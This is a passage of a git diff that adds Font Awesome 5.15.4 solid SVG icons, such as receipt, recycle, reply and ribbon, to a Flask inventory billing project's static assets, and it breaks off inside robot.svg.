94.86 94.86 94.86 1.03 0 3.48-.21 4.13-.21 3.93 0 6.8 3.14 6.8 6.78 0 2.98-1.94 5.51-4.62 6.42-13.07 4.87-26.59 7.34-40.19 7.34C179.67 307.19 128 255.51 128 192c0-63.52 51.67-115.19 115.19-115.19zM380.8 448H96c-19.2 0-32-12.8-32-32s16-32 32-32h284.8v64z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/radiation-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/radiation-alt.svg new file mode 100644 index 00000000..5f7ea459 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/radiation-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M312 256h79.1c9.2 0 16.9-7.7 16-16.8-4.6-43.6-27-81.8-59.5-107.8-7.6-6.1-18.8-4.5-24 3.8L281.9 202c18 11.2 30.1 31.2 30.1 54zm-97.8 54.1L172.4 377c-4.9 7.8-2.4 18.4 5.8 22.5 21.1 10.4 44.7 16.5 69.8 16.5s48.7-6.1 69.9-16.5c8.2-4.1 10.6-14.7 5.8-22.5l-41.8-66.9c-9.8 6.2-21.4 9.9-33.8 9.9s-24.1-3.7-33.9-9.9zM104.9 256H184c0-22.8 12.1-42.8 30.2-54.1l-41.7-66.8c-5.2-8.3-16.4-9.9-24-3.8-32.6 26-54.9 64.2-59.5 107.8-1.1 9.2 6.7 16.9 15.9 16.9zM248 504c137 0 248-111 248-248S385 8 248 8 0 119 0 256s111 248 248 248zm0-432c101.5 0 184 82.5 184 184s-82.5 184-184 184S64 357.5 64 256 146.5 72 248 72zm0 216c17.7 0 32-14.3 32-32s-14.3-32-32-32-32 14.3-32 32 14.3 32 32 32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/radiation.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/radiation.svg new file mode 100644 index 00000000..3e7c4201 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/radiation.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 496 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M328.2 255.8h151.6c9.1 0 16.8-7.7 16.2-16.8-5.1-75.8-44.4-142.2-102.5-184.2-7.4-5.3-17.9-2.9-22.7 4.8L290.4 188c22.6 14.3 37.8 39.2 37.8 67.8zm-37.8 67.7c-12.3 7.7-26.8 12.4-42.4 12.4-15.6 0-30-4.7-42.4-12.4L125.2 452c-4.8 7.7-2.4 18.1 5.6 22.4C165.7 493.2 205.6 504 248 504s82.3-10.8 117.2-29.6c8-4.3 10.4-14.8 5.6-22.4l-80.4-128.5zM248 303.8c26.5 0 48-21.5 48-48s-21.5-48-48-48-48 21.5-48 48 21.5 48 48 48zm-231.8-48h151.6c0-28.6 15.2-53.5 37.8-67.7L125.2 59.7c-4.8-7.7-15.3-10.2-22.7-4.8C44.4 96.9 5.1 163.3 0 239.1c-.6 9 7.1 16.7 16.2 16.7z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/rainbow.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/rainbow.svg new file mode 100644 index 00000000..d4083052 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/rainbow.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M268.3 32.7C115.4 42.9 0 176.9 0 330.2V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320C64 186.8 180.9 80.3 317.5 97.9 430.4 112.4 512 214 512 327.8V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-165.3-140-298.6-307.7-287.3zm-5.6 96.9C166 142 96 229.1 96 326.7V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-74.8 64.5-134.8 140.8-127.4 66.5 6.5 115.2 66.2 115.2 133.1V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-114.2-100.2-205.4-217.3-190.4zm6.2 96.3c-45.6 8.9-76.9 51.5-76.9 97.9V464c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-17.6 14.3-32 32-32s32 14.4 32 32v144c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V320c0-59.2-53.8-106-115.1-94.1z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/random.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/random.svg new file mode 100644 index 00000000..d6961c62 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/random.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M504.971 359.029c9.373 9.373 9.373 24.569 0 33.941l-80 79.984c-15.01 15.01-40.971 4.49-40.971-16.971V416h-58.785a12.004 12.004 0 0 1-8.773-3.812l-70.556-75.596 53.333-57.143L352 336h32v-39.981c0-21.438 25.943-31.998 40.971-16.971l80 79.981zM12 176h84l52.781 56.551 53.333-57.143-70.556-75.596A11.999 11.999 0 0 0 122.785 96H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12zm372 0v39.984c0 21.46 25.961 31.98 40.971 16.971l80-79.984c9.373-9.373 9.373-24.569 0-33.941l-80-79.981C409.943 24.021 384 34.582 384 56.019V96h-58.785a12.004 12.004 0 0 0-8.773 3.812L96 336H12c-6.627 0-12 5.373-12 12v56c0 6.627 5.373 12 12 12h110.785c3.326 0 6.503-1.381 8.773-3.812L352 176h32z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/receipt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/receipt.svg new file mode 100644 index 00000000..1b3773c4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/receipt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 384 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M358.4 3.2L320 48 265.6 3.2a15.9 15.9 0 0 0-19.2 0L192 48 137.6 3.2a15.9 15.9 0 0 0-19.2 0L64 48 25.6 3.2C15-4.7 0 2.8 0 16v480c0 13.2 15 20.7 25.6 12.8L64 464l54.4 44.8a15.9 15.9 0 0 0 19.2 0L192 464l54.4 44.8a15.9 15.9 0 0 0 19.2 0L320 464l38.4 44.8c10.5 7.9 25.6.4 25.6-12.8V16c0-13.2-15-20.7-25.6-12.8zM320 360c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16zm0-96c0 4.4-3.6 8-8 8H72c-4.4 0-8-3.6-8-8v-16c0-4.4 3.6-8 8-8h240c4.4 0 8 3.6 8 8v16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/record-vinyl.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/record-vinyl.svg new file mode 100644 index 00000000..741525ea --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/record-vinyl.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 152a104 104 0 1 0 104 104 104 104 0 0 0-104-104zm0 128a24 24 0 1 1 24-24 24 24 0 0 1-24 24zm0-272C119 8 8 119 8 256s111 248 248 248 248-111 248-248S393 8 256 8zm0 376a128 128 0 1 1 128-128 128 128 0 0 1-128 128z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/recycle.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/recycle.svg new file mode 100644 index 00000000..4d0b7234 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/recycle.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M184.561 261.903c3.232 13.997-12.123 24.635-24.068 17.168l-40.736-25.455-50.867 81.402C55.606 356.273 70.96 384 96.012 384H148c6.627 0 12 5.373 12 12v40c0 6.627-5.373 12-12 12H96.115c-75.334 0-121.302-83.048-81.408-146.88l50.822-81.388-40.725-25.448c-12.081-7.547-8.966-25.961 4.879-29.158l110.237-25.45c8.611-1.988 17.201 3.381 19.189 11.99l25.452 110.237zm98.561-182.915l41.289 66.076-40.74 25.457c-12.051 7.528-9 25.953 4.879 29.158l110.237 25.45c8.672 1.999 17.215-3.438 19.189-11.99l25.45-110.237c3.197-13.844-11.99-24.719-24.068-17.168l-40.687 25.424-41.263-66.082c-37.521-60.033-125.209-60.171-162.816 0l-17.963 28.766c-3.51 5.62-1.8 13.021 3.82 16.533l33.919 21.195c5.62 3.512 13.024 1.803 16.536-3.817l17.961-28.743c12.712-20.341 41.973-19.676 54.257-.022zM497.288 301.12l-27.515-44.065c-3.511-5.623-10.916-7.334-16.538-3.821l-33.861 21.159c-5.62 3.512-7.33 10.915-3.818 16.536l27.564 44.112c13.257 21.211-2.057 48.96-27.136 48.96H320V336.02c0-14.213-17.242-21.383-27.313-11.313l-80 79.981c-6.249 6.248-6.249 16.379 0 22.627l80 79.989C302.689 517.308 320 510.3 320 495.989V448h95.88c75.274 0 121.335-82.997 81.408-146.88z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/redo-alt.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/redo-alt.svg new file mode 100644 index 00000000..f32b9d46 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/redo-alt.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256.455 8c66.269.119 126.437 26.233 170.859 68.685l35.715-35.715C478.149 25.851 504 36.559 504 57.941V192c0 13.255-10.745 24-24 24H345.941c-21.382 0-32.09-25.851-16.971-40.971l41.75-41.75c-30.864-28.899-70.801-44.907-113.23-45.273-92.398-.798-170.283 73.977-169.484 169.442C88.764 348.009 162.184 424 256 424c41.127 0 79.997-14.678 110.629-41.556 4.743-4.161 11.906-3.908 16.368.553l39.662 39.662c4.872 4.872 4.631 12.815-.482 17.433C378.202 479.813 319.926 504 256 504 119.034 504 8.001 392.967 8 256.002 7.999 119.193 119.646 7.755 256.455 8z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/redo.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/redo.svg new file mode 100644 index 00000000..fd681119 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/redo.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M500.33 0h-47.41a12 12 0 0 0-12 12.57l4 82.76A247.42 247.42 0 0 0 256 8C119.34 8 7.9 119.53 8 256.19 8.1 393.07 119.1 504 256 504a247.1 247.1 0 0 0 166.18-63.91 12 12 0 0 0 .48-17.43l-34-34a12 12 0 0 0-16.38-.55A176 176 0 1 1 402.1 157.8l-101.53-4.87a12 12 0 0 0-12.57 12v47.41a12 12 0 0 0 12 12h200.33a12 12 0 0 0 12-12V12a12 12 0 0 0-12-12z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/registered.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/registered.svg new file mode 100644 index 00000000..c7ab56a9 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/registered.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M285.363 207.475c0 18.6-9.831 28.431-28.431 28.431h-29.876v-56.14h23.378c28.668 0 34.929 8.773 34.929 27.709zM504 256c0 136.967-111.033 248-248 248S8 392.967 8 256 119.033 8 256 8s248 111.033 248 248zM363.411 360.414c-46.729-84.825-43.299-78.636-44.702-80.98 23.432-15.172 37.945-42.979 37.945-74.486 0-54.244-31.5-89.252-105.498-89.252h-70.667c-13.255 0-24 10.745-24 24V372c0 13.255 10.745 24 24 24h22.567c13.255 0 24-10.745 24-24v-71.663h25.556l44.129 82.937a24.001 24.001 0 0 0 21.188 12.727h24.464c18.261-.001 29.829-19.591 21.018-35.587z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/remove-format.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/remove-format.svg new file mode 100644 index 00000000..967559e4 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/remove-format.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M336 416h-11.17l9.26-27.77L267 336.4 240.49 416H208a16 16 0 0 0-16 16v32a16 16 0 0 0 16 16h128a16 16 0 0 0 16-16v-32a16 16 0 0 0-16-16zm297.82 42.1L377 259.59 426.17 112H544v32a16 16 0 0 0 16 16h32a16 16 0 0 0 16-16V48a16 16 0 0 0-16-16H176a16 16 0 0 0-16 16v43.9L45.46 3.38A16 16 0 0 0 23 6.19L3.37 31.46a16 16 0 0 0 2.81 22.45l588.36 454.72a16 16 0 0 0 22.46-2.81l19.64-25.27a16 16 0 0 0-2.82-22.45zM309.91 207.76L224 141.36V112h117.83z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/reply-all.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/reply-all.svg new file mode 100644 index 00000000..da367e64 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/reply-all.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M136.309 189.836L312.313 37.851C327.72 24.546 352 35.348 352 56.015v82.763c129.182 10.231 224 52.212 224 183.548 0 61.441-39.582 122.309-83.333 154.132-13.653 9.931-33.111-2.533-28.077-18.631 38.512-123.162-3.922-169.482-112.59-182.015v84.175c0 20.701-24.3 31.453-39.687 18.164L136.309 226.164c-11.071-9.561-11.086-26.753 0-36.328zm-128 36.328L184.313 378.15C199.7 391.439 224 380.687 224 359.986v-15.818l-108.606-93.785A55.96 55.96 0 0 1 96 207.998a55.953 55.953 0 0 1 19.393-42.38L224 71.832V56.015c0-20.667-24.28-31.469-39.687-18.164L8.309 189.836c-11.086 9.575-11.071 26.767 0 36.328z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/reply.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/reply.svg new file mode 100644 index 00000000..c4ee7590 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/reply.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M8.309 189.836L184.313 37.851C199.719 24.546 224 35.347 224 56.015v80.053c160.629 1.839 288 34.032 288 186.258 0 61.441-39.581 122.309-83.333 154.132-13.653 9.931-33.111-2.533-28.077-18.631 45.344-145.012-21.507-183.51-176.59-185.742V360c0 20.7-24.3 31.453-39.687 18.164l-176.004-152c-11.071-9.562-11.086-26.753 0-36.328z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/republican.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/republican.svg new file mode 100644 index 00000000..6d4bd7db --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/republican.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M544 192c0-88.4-71.6-160-160-160H160C71.6 32 0 103.6 0 192v64h544v-64zm-367.7-21.6l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L128 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zm144 0l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L272 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zm144 0l-19.8 19.3 4.7 27.3c.8 4.9-4.3 8.6-8.7 6.3L416 210.4l-24.5 12.9c-4.3 2.3-9.5-1.4-8.7-6.3l4.7-27.3-19.8-19.3c-3.6-3.5-1.6-9.5 3.3-10.2l27.4-4 12.2-24.8c2.2-4.5 8.6-4.4 10.7 0l12.2 24.8 27.4 4c5 .7 6.9 6.7 3.4 10.2zM624 320h-32c-8.8 0-16 7.2-16 16v64c0 8.8-7.2 16-16 16s-16-7.2-16-16V288H0v176c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16v-80h192v80c0 8.8 7.2 16 16 16h96c8.8 0 16-7.2 16-16V352h32v43.3c0 41.8 30 80.1 71.6 84.3 47.8 4.9 88.4-32.7 88.4-79.6v-64c0-8.8-7.2-16-16-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/restroom.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/restroom.svg new file mode 100644 index 00000000..e9719bb0 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/restroom.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M128 128c35.3 0 64-28.7 64-64S163.3 0 128 0 64 28.7 64 64s28.7 64 64 64zm384 0c35.3 0 64-28.7 64-64S547.3 0 512 0s-64 28.7-64 64 28.7 64 64 64zm127.3 226.5l-45.6-185.8c-3.3-13.5-15.5-23-29.8-24.2-15 9.7-32.8 15.5-52 15.5-19.2 0-37-5.8-52-15.5-14.3 1.2-26.5 10.7-29.8 24.2l-45.6 185.8C381 369.6 393 384 409.2 384H464v104c0 13.3 10.7 24 24 24h48c13.3 0 24-10.7 24-24V384h54.8c16.2 0 28.2-14.4 24.5-29.5zM336 0h-32c-8.8 0-16 7.2-16 16v480c0 8.8 7.2 16 16 16h32c8.8 0 16-7.2 16-16V16c0-8.8-7.2-16-16-16zM180.1 144.4c-15 9.8-32.9 15.6-52.1 15.6-19.2 0-37.1-5.8-52.1-15.6C51.3 146.5 32 166.9 32 192v136c0 13.3 10.7 24 24 24h8v136c0 13.3 10.7 24 24 24h80c13.3 0 24-10.7 24-24V352h8c13.3 0 24-10.7 24-24V192c0-25.1-19.3-45.5-43.9-47.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/retweet.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/retweet.svg new file mode 100644 index 00000000..160ac8f5 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/retweet.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M629.657 343.598L528.971 444.284c-9.373 9.372-24.568 9.372-33.941 0L394.343 343.598c-9.373-9.373-9.373-24.569 0-33.941l10.823-10.823c9.562-9.562 25.133-9.34 34.419.492L480 342.118V160H292.451a24.005 24.005 0 0 1-16.971-7.029l-16-16C244.361 121.851 255.069 96 276.451 96H520c13.255 0 24 10.745 24 24v222.118l40.416-42.792c9.285-9.831 24.856-10.054 34.419-.492l10.823 10.823c9.372 9.372 9.372 24.569-.001 33.941zm-265.138 15.431A23.999 23.999 0 0 0 347.548 352H160V169.881l40.416 42.792c9.286 9.831 24.856 10.054 34.419.491l10.822-10.822c9.373-9.373 9.373-24.569 0-33.941L144.971 67.716c-9.373-9.373-24.569-9.373-33.941 0L10.343 168.402c-9.373 9.373-9.373 24.569 0 33.941l10.822 10.822c9.562 9.562 25.133 9.34 34.419-.491L96 169.881V392c0 13.255 10.745 24 24 24h243.549c21.382 0 32.09-25.851 16.971-40.971l-16.001-16z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ribbon.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ribbon.svg new file mode 100644 index 00000000..1e6cbeda --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ribbon.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 448 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M6.1 444.3c-9.6 10.8-7.5 27.6 4.5 35.7l68.8 27.9c9.9 6.7 23.3 5 31.3-3.8l91.8-101.9-79.2-87.9-117.2 130zm435.8 0s-292-324.6-295.4-330.1c15.4-8.4 40.2-17.9 77.5-17.9s62.1 9.5 77.5 17.9c-3.3 5.6-56 64.6-56 64.6l79.1 87.7 34.2-38c28.7-31.9 33.3-78.6 11.4-115.5l-43.7-73.5c-4.3-7.2-9.9-13.3-16.8-18-40.7-27.6-127.4-29.7-171.4 0-6.9 4.7-12.5 10.8-16.8 18l-43.6 73.2c-1.5 2.5-37.1 62.2 11.5 116L337.5 504c8 8.9 21.4 10.5 31.3 3.8l68.8-27.9c11.9-8 14-24.8 4.3-35.6z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ring.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ring.svg new file mode 100644 index 00000000..0b861164 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/ring.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M256 64C110.06 64 0 125.91 0 208v98.13C0 384.48 114.62 448 256 448s256-63.52 256-141.87V208c0-82.09-110.06-144-256-144zm0 64c106.04 0 192 35.82 192 80 0 9.26-3.97 18.12-10.91 26.39C392.15 208.21 328.23 192 256 192s-136.15 16.21-181.09 42.39C67.97 226.12 64 217.26 64 208c0-44.18 85.96-80 192-80zM120.43 264.64C155.04 249.93 201.64 240 256 240s100.96 9.93 135.57 24.64C356.84 279.07 308.93 288 256 288s-100.84-8.93-135.57-23.36z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/road.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/road.svg new file mode 100644 index 00000000..5dfafc72 --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/road.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path d="M573.19 402.67l-139.79-320C428.43 71.29 417.6 64 405.68 64h-97.59l2.45 23.16c.5 4.72-3.21 8.84-7.96 8.84h-29.16c-4.75 0-8.46-4.12-7.96-8.84L267.91 64h-97.59c-11.93 0-22.76 7.29-27.73 18.67L2.8 402.67C-6.45 423.86 8.31 448 30.54 448h196.84l10.31-97.68c.86-8.14 7.72-14.32 15.91-14.32h68.8c8.19 0 15.05 6.18 15.91 14.32L348.62 448h196.84c22.23 0 36.99-24.14 27.73-45.33zM260.4 135.16a8 8 0 0 1 7.96-7.16h39.29c4.09 0 7.53 3.09 7.96 7.16l4.6 43.58c.75 7.09-4.81 13.26-11.93 13.26h-40.54c-7.13 0-12.68-6.17-11.93-13.26l4.59-43.58zM315.64 304h-55.29c-9.5 0-16.91-8.23-15.91-17.68l5.07-48c.86-8.14 7.72-14.32 15.91-14.32h45.15c8.19 0 15.05 6.18 15.91 14.32l5.07 48c1 9.45-6.41 17.68-15.91 17.68z"/></svg> \ No newline at end of file diff --git a/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/robot.svg b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/robot.svg new file mode 100644 index 00000000..203e56ae --- /dev/null +++ b/FLASK PROJECTS/Inventory Billing Management System using Flask/static/font-awesome/svgs/solid/robot.svg @@ -0,0 +1 @@ +<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><!-- Font Awesome Free 5.15.4 by @fontawesome - https://fontawesome.com License - https://fontawesome.com/license/free (Icons: CC BY 4.0, Fonts: SIL OFL 1.1, Code: MIT License) --><path 